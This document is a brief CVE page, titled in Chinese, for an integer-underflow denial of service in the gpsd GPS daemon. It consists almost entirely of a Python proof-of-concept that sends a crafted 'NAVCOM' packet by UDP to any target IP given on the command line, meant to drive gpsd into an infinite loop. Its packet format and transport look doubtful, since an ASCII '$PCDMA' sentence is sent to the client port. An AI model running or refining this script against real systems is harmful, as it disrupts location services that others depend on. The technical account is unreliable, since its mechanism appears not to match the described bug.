CVE-2025-67269: gpsd整数下溢导致DoS漏洞

#!/usr/bin/env python3 """ CVE-2025-67269 PoC - gpsd Integer Underflow DoS This PoC demonstrates the integer underflow vulnerability in gpsd's nextstate() function. When parsing NAVCOM packets with payload length byte < 4, it causes integer underflow. """ import socket import struct def send_malicious_navcom_packet(target_ip, target_port=2947): """ Send a malformed NAVCOM packet to trigger integer underflow in gpsd. The vulnerability occurs when parsing NAVCOM packets: - gpsd calculates: lexer->length = (size_t)c - 4 - If c < 4, unsigned integer underflow occurs - lexer->length becomes ~SIZE_MAX, causing infinite loop """ # NAVCOM packet structure for gpsd # Format: $PCDMA,length_byte,...*checksum\r\n # Trigger condition: length_byte must be < 4 to cause underflow malicious_length = 1 # This triggers: 1 - 4 = underflow (becomes huge value) # Build NAVCOM packet payload = f"$PCDMA,{malicious_length}" checksum = 0 for b in payload[1:]: # Exclude leading $ checksum ^= ord(b) packet = f"{payload}*{checksum:02X}\r\n" print(f"[*] Sending malicious NAVCOM packet to {target_ip}:{target_port}") print(f"[*] Packet: {packet.strip()}") print(f"[*] Payload length byte: {malicious_length} (will underflow: {malicious_length} - 4)") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet.encode(), (target_ip, target_port)) print("[+] Malicious packet sent successfully") print("[+] Target gpsd should now enter infinite loop (100% CPU)") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port=2947]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2947 send_malicious_navcom_packet(target, port)